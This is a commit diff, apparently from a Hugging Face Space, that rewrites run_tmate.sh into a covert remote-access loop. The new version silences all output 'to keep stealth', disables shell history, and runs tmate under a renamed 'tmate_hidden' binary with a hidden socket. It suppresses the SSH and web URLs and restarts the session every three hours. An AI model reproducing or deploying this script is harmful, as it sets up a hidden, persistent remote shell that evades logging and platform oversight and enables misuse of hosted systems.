Spaces:
Paused
Paused
ayoub ayoub
commited on
Update run_tmate.sh
Browse files- run_tmate.sh +19 -12
run_tmate.sh
CHANGED
|
@@ -1,29 +1,36 @@
|
|
| 1 |
#!/bin/bash
|
| 2 |
|
| 3 |
-
|
| 4 |
-
|
|
|
|
|
|
|
| 5 |
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
|
|
|
|
|
|
|
|
|
| 9 |
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
|
|
|
|
|
|
|
| 14 |
# Monitor for 3 hours or until tmate process exits
|
| 15 |
start_time=$(date +%s)
|
| 16 |
-
while pgrep -f "
|
| 17 |
current_time=$(date +%s)
|
| 18 |
elapsed=$((current_time - start_time))
|
| 19 |
if [ $elapsed -ge 10800 ]; then
|
| 20 |
-
|
| 21 |
-
pkill -f "
|
| 22 |
break
|
| 23 |
fi
|
| 24 |
sleep 5
|
| 25 |
done
|
| 26 |
|
| 27 |
-
|
| 28 |
sleep 5
|
| 29 |
done
|
|
|
|
| 1 |
#!/bin/bash
|
| 2 |
|
| 3 |
+
LOGFILE="/home/draco/tmate.txt"
|
| 4 |
+
|
| 5 |
+
# Disable logging to keep stealth
|
| 6 |
+
exec 1>/dev/null 2>&1
|
| 7 |
|
| 8 |
+
# Disable shell history
|
| 9 |
+
unset HISTFILE
|
| 10 |
+
export HISTFILE=/dev/null
|
| 11 |
+
|
| 12 |
+
while true; do
|
| 13 |
+
# (No echo logs to file or stdout)
|
| 14 |
|
| 15 |
+
# Start detached tmate session silently, using hidden socket
|
| 16 |
+
tmate_hidden -S /tmp/tmate.sock new-session -d
|
| 17 |
+
tmate_hidden -S /tmp/tmate.sock wait tmate-ready
|
| 18 |
|
| 19 |
+
# No logs or display of ssh/web URLs for stealth
|
| 20 |
+
|
| 21 |
# Monitor for 3 hours or until tmate process exits
|
| 22 |
start_time=$(date +%s)
|
| 23 |
+
while pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; do
|
| 24 |
current_time=$(date +%s)
|
| 25 |
elapsed=$((current_time - start_time))
|
| 26 |
if [ $elapsed -ge 10800 ]; then
|
| 27 |
+
# Restart tmate silently after 3 hours
|
| 28 |
+
pkill -f "tmate_hidden -S /tmp/tmate.sock"
|
| 29 |
break
|
| 30 |
fi
|
| 31 |
sleep 5
|
| 32 |
done
|
| 33 |
|
| 34 |
+
# Wait 5 seconds before reconnecting, no log output
|
| 35 |
sleep 5
|
| 36 |
done
|